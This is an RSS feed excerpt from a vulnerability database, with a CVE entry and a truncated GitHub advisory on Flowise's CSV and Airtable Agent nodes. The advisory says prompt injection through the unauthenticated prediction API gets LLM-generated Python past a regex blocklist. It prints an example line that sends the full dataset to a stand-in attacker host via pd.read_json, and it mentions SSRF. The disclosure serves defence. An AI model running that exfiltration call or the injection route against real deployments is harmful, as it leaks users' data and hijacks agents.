https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 17 Oct 2026 06:26:18 +0000 https://db.gcve.eu/vuln/fkie_cve-2026-73487 <p>Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.read_json() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.</p> <p>Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.read_json() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.</p> https://db.gcve.eu/vuln/fkie_cve-2026-73487 https://db.gcve.eu/vuln/ghsa-w7x8-q2gp-5cgg <p><strong>Affected:</strong> npm: flowise, npm: flowise-components</p> <p>## Summary</p> <p>Flowise &lt;= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.</p> <p>The most impactful bypass is trivial: `pd.read_json(&#34;http://attacker.com/?d=&#34; + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.</p> <p>## Severity</p> <p>**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N</p> <p>## Affected Versions</p> <p>- Flowise &lt;= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow</p> <p>## Details</p> <p>### Root Cause</p> <p>The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because:</p> <p>1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern.</p> <p>2. **The `\bimport\b` regex does not match `impor…</p> <p><strong>Affected:</strong> npm: flowise, npm: flowise-components</p> <p>## Summary</p> <p>Flowise &lt;= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API.</p> <p>The most impactful bypass is trivial: `pd.read_json(&#34;http://attacker.com/?d=&#34; + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.</p> <p>## Severity</p> <p>**Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N</p> <p>## Affected Versions</p> <p>- Flowise &lt;= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow</p> <p>## Details</p> <p>### Root Cause</p> <p>The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because:</p> <p>1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern.</p> <p>2. **The `\bimport\b` regex does not match `impor…</p> https://db.gcve.eu/vuln/ghsa-w7x8-q2gp-5cgg